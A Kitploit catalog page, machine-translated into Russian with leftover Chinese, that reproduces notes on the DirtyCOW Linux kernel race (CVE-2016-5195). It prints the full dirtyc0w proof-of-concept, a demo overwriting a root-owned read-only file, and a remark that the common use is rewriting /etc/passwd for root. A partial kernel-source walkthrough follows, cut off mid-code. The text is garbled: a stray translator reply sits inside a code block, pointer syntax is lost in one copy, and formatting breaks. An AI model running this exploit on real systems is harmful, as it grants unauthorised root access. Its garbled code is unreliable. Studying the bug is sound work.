Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2016-5195 — Заметки DirtyCOW | Kitploit
Инструменты/GitHubGitHub/asuka39/cve-2016-5195
Повышение привилегийАнализ уязвимостейЭксплуатацияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubasuka39/cve-2016-5195

CVE-2016-5195

Заметки DirtyCOW

Репозиторий
2 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2016-5195 DirtyCOW

PoC

  • Изменено с dirtycow.github.io```c #include <stdio.h> #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> #include <stdint.h>

void *map; int f; struct stat st; char *name;

void *madviseThread(void *arg) { char str; str = (char)arg; int i, c = 0; for(i = 0; i < 100000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); }

void *procselfmemThread(void *arg) { char str; str = (char)arg;

int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }

int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1, pth2;

f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];

map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);

pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);

pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }

Пожалуйста, предоставьте исходный Markdown-текст для перевода.```
$ sudo su
# echo "READ ONLY" > flag.txt
# chmod 0404 flag.txt
# exit
$
$ ll flag.txt 
-r-----r-- 1 root root 10 flag.txt
$ echo "aaaaaa" > flag.txt
Permission Denied
$
$ gcc -pthread dirty.c -o dirty
$ ./dirty flag.txt aaaaaa
mmap 7f1a35bc4000

procselfmem -2094967296

madvise 0
$ cat flag.txt
aaaaaa

比较常见的利用手法是越权写/etc/passwd修改 root 用户或修改用户权限来提权

Анализ

Анализ эксплойта

Сначала посмотрим, что делает exp```c int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n","usage: dirtyc0w target_file new_content"); return 1; }

pthread_t pth1, pth2; f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];

map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);

pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);

pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }

- Сначала вызов pthread для создания двух потоков
- Затем `fopen` открывает целевой файл `argv[1]` только для чтения
- Файл отображается в память с помощью `mmap` (адрес случайный), `MAP_PRIVATE` используется для создания приватного отображения памяти для задачи. Если другая задача попытается записать в эту память, процесс сначала создаст копию перед записью, что позволяет избежать больших затрат времени и пространства на копирование всей памяти при порождении дочерних процессов или потоков, и при этом обеспечивает независимость параллельных операций с памятью между задачами — это механизм Copy-On-Write.
- Затем запускаются два потока: один выполняет `madviseThread`, другой — `procselfmemThread`

Теперь рассмотрим тела двух потоков:

- Один поток вызывает `madvise` для отображения файла, сообщая ядру об использовании отображаемой памяти или разделяемой памяти. `MADV_DONTNEED` означает, что эта область памяти больше не нужна, и ядро может освободить её.
- Другой поток открывает `/proc/self/mem` с правами чтения и записи — это файловое отображение виртуальной памяти самого процесса, и непрерывно пытается записать целевую информацию в этот файл.```c
void *madviseThread(void *arg) {
  char *str;
  str = (char*)arg;
  int i, c = 0;
  for(i = 0; i < 100000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}
 
void *procselfmemThread(void *arg) {
  char *str;
  str = (char*)arg;

  int f = open("/proc/self/mem", O_RDWR);
  int i, c = 0;
  for(i = 0; i < 100000000; i++) {
    lseek(f, (uintptr_t)map, SEEK_SET);
    c += write(f, str, strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}

最终,在两个线程的轮番轰炸下内核出现竞争漏洞,procselfmemThread成功写入只读文件

Kernel Analysis

  • 大前提:mmap只会在 vma 上建立内存映射,但不会真的将映射文件放进物理页框。因此当我们第一次尝试write文件时必然会触发缺页异常
  • 这里选择的 kernel 版本是 4.4

What happens when we write

mem_rw

我们从write开始分析。对文件的任何操作都要走文件所在的文件系统在 VFS 上注册好的虚表file_operations,而/proc上的文件是由 procfs 实现的,找到proc_mem_operations,可以看到write会被绑定倒mem_write上```c static const struct file_operations proc_mem_operations = { .llseek = mem_lseek, .read = mem_read, .write = mem_write, .open = mem_open, .release = mem_release, };

`mem_write` является обёрткой над `mem_rw` (флаг `write` установлен в 1). Основной поток `mem_rw`:

- Сначала `__get_free_page` запрашивает временную свободную страницу в качестве буфера.
- Если это операция записи, то вызывается `copy_from_user` для копирования данных, которые нужно записать, на временную страницу.
- Затем `access_remote_vm` читает целевые данные на свободную страницу (чтение) или записывает содержимое буфера по целевому адресу (запись).
  - Термин "remote" здесь означает, что текущий процесс может читать или записывать файлы, отображённые в память других процессов, что подразумевает возможность доступа к адресному пространству другого процесса. Это отличает данную файловую систему от других memory filesystem.
- Если это операция чтения, то данные, прочитанные на предыдущем шаге на свободную страницу, записываются обратно в пользовательский буфер.```c
static ssize_t mem_rw(struct file *file, char __user *buf,
			size_t count, loff_t *ppos, int write)
{
	struct mm_struct *mm = file->private_data;
	unsigned long addr = *ppos;
	ssize_t copied;
	char *page;

	if (!mm)
		return 0;

	page = (char *)__get_free_page(GFP_TEMPORARY);	// 申请临时空闲页面
	if (!page)
		return -ENOMEM;

	copied = 0;
	if (!atomic_inc_not_zero(&mm->mm_users))
		goto free;

	while (count > 0) {
		int this_len = min_t(int, count, PAGE_SIZE);	// 本次读取/写入数据长度,单次最大为PAGE_SIZE

		if (write && copy_from_user(page, buf, this_len)) {		// 若是写操作,从用户空间拷贝待写数据到临时空闲页面
			copied = -EFAULT;
			break;
		}

		this_len = access_remote_vm(mm, addr, page, this_len, write);	// 读取/写入数据到临时空闲页面
		if (!this_len) {
			if (!copied)
				copied = -EIO;
			break;
		}

		if (!write && copy_to_user(buf, page, this_len)) {	// 若是读操作,将读取到的数据从临时空闲页面拷贝数据到用户空间
			copied = -EFAULT;
			break;
		}

		buf += this_len;
		addr += this_len;
		copied += this_len;
		count -= this_len;
	}
	*ppos = addr;

	mmput(mm);
free:
	free_page((unsigned long) page);	// 释放临时空闲页面
	return copied;
}
__access_remote_vm

access_remote_vm является оберткой для __access_remote_vm, основной процесс:

  • get_user_pages получает struct page для целевого адреса addr

  • В случае успеха вызывается kmap для отображения страницы в high memory ядра (страница указывает на физическую страницу)

  • Если операция доступа — запись, данные записываются, а затем устанавливается бит "грязный"; если чтение — данные просто считываются```c static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm, unsigned long addr, void *buf, int len, int write) { struct vm_area_struct *vma; void *old_buf = buf;

    down_read(&mm->mmap_sem); /* ignore errors, just check how much was successfully transferred */ while (len) { int bytes, ret, offset; void *maddr; struct page *page = NULL;

Скачать инструмент